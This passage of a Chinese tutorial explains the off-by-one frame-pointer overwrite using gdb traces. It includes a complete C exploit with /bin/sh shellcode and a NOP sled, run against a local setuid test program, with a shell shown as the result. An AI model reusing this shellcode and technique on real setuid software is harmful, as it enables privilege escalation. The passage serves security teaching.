📄 单字节缓冲区溢出.txt
字号:
0x804817f : ret
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.
Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp 0xbffffc60 0xbffffc60
(gdb)
从上面的分析,我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64
开始的,指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100(buffer大
小)-0x04(跳转地址大小)=0xbffffd60处。
有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的
最后一个字节。这里要减去4个字节是因为当从main()中返回时,%esp会增加4个字节(
因为弹出了保存的%ebp)。
跳转地址的值并不需要是shellcode的起始地址,只要是NOP指令之间的某个地址即可。
(就象通常的溢出程序一样)即:0xbffffc64---(0xbffffd64-shellcode大小)。
我们这里选用0xbffffc74.
ipdev:~/tests$ cat > exp.c
#include
#include
char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
main()
{
int i, j;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=(252-sizeof(sc_linux));i++)
{
buffer[i] = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer[i] = sc_linux[j];
}
buffer[i++] = 0x74; //
buffer[i++] = 0xfc; // 跳转地址
buffer[i++] = 0xff; //
buffer[i++] = 0xbf; //
buffer[i++] = 0x5c; // 用来覆盖%ebp的字节
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$
成功了!现在让我们仔细的看一下到底发生了些什么。
ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)
我们先来设置几个断点来观察被覆盖的栈帧指针的值。
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)
上面的断点用来监视在从堆栈滩出前和弹出后%ebp的变化。
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8 <_IO_printf>
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)
上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。
现在让我们来运行程序:
(gdb) c
Continuing.
Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp 0xbffffd64 0xbffffd64
这是%ebp的原来的内容
(gdb) c
Continuing.
Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp 0xbffffd5c 0xbffffd5c
溢出后,我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c)
(gdb) c
Continuing.
Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
此时%esp指向0xbffffd5c
Breakpoint 4, 0x80481b4 in main ()
(gdb) info reg esp
esp 0xbffffd60 0xbffffd60
弹出保存的%ebp后,%esp增加了4个字节,指向我们存放跳转地址的位置
(gdb)
看一下此时堆栈中的情况:
(gdb) x 0xbffffd60
0xbffffd60 <__collate_table+3086619092>: 0xbffffc74
这里确实存放着我们的跳转地址
(gdb) x/10 0xbffffc74
0xbffffc74 <__collate_table+3086618856>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc84 <__collate_table+3086618872>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc94 <__collate_table+3086618888>: 0x90909090
0x90909090
(gdb)
跳转地址指向NOP串的中间。这也就是我们的shellcode开始执行的地方。
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000990 in ?? ()
(gdb) c
Continuing.
bash$
下面的简图大致描述了%ebp与%esp的变化。
func()中,返回前 main()中 main()中 main()中
栈顶(低地址) addl $0x4,%esp movl %ebp,%esp popl %ebp
0xbffffc60|----------| |----------| |----------| |----------|
| i | | i | | i | | i |
0xbffffc64|----------| |----------| |----------| |----------|
| 0x90 | | 0x90 | | 0x90 | | 0x90 |
|----------| |----------| |----------| |----------|
| 0x90 | | 0x90 | | 0x90 | | 0x90 |
|----------| |----------| |----------| |----------|
-----> | ....... | | ....... | | ....... | | ....... |
| |----------| |----------| |----------| |----------|
| |shellcode | |shellcode | |shellcode | |shellcode |
| | ....... | | ....... | %esp--->| ....... |0xbffffd5c|......... |
0xbffffd60|----------| |----------| |----------| %esp-->|----------|
|----- |0xbffffc74| |0xbffffc74| |0xbffffc74| |0xbffffc74| -->%eip
0xbffffd64|----------| |----------| |----------| |----------|
保存的ebp |0xbffffd5c| |0xbffffd5c| |0xbffffd5c| |0xbffffd5c|
%esp--->|----------| |----------| |----------| |----------|
|保存的eip | |保存的eip | |保存的eip | |保存的eip |
|----------| %esp-->|----------| |----------| |----------|
%esp=0xbffffd68 %esp=0xbffffd6c %esp=0xbffffd5c %esp=0xbffffd60
%ebp=0xbffffd5c %ebp=0xbffffd5c %ebp=0xbffffd5c %ebp=0xxxxxxxxx
结束语:
这种方法看起来很不错,它也存在一些问题。只覆盖一个字节来进行攻击当然理论上
是可行的,但也需要一些条件。首先,它需要知道buffer的地址,这要求我们要能构
造相同的攻击环境以便得到这些值,这通常是比较困难的,特别是在远程机器上。由
于只能溢出一个字节,我们的buffer必须紧挨着栈帧指针,也就是说,要溢出的buffer
必须是函数中第一个被宣称的变量。对于大endian结构的系统,%ebp在内存中的顺序是
高字节在前低字节在后,所以将会覆盖掉ebp的高字节,我们不得不保证我们的程序可以
跳到那个地址去执行...
尽管如此,这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽
也可能导致严重的安全问题.:-)
参考文献:
[1] <>55-08 [ The Frame Pointer Overwrite ] by klog
[2] <>49 [ Smashing The Stack For Fun And Profit ] by Aleph1
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -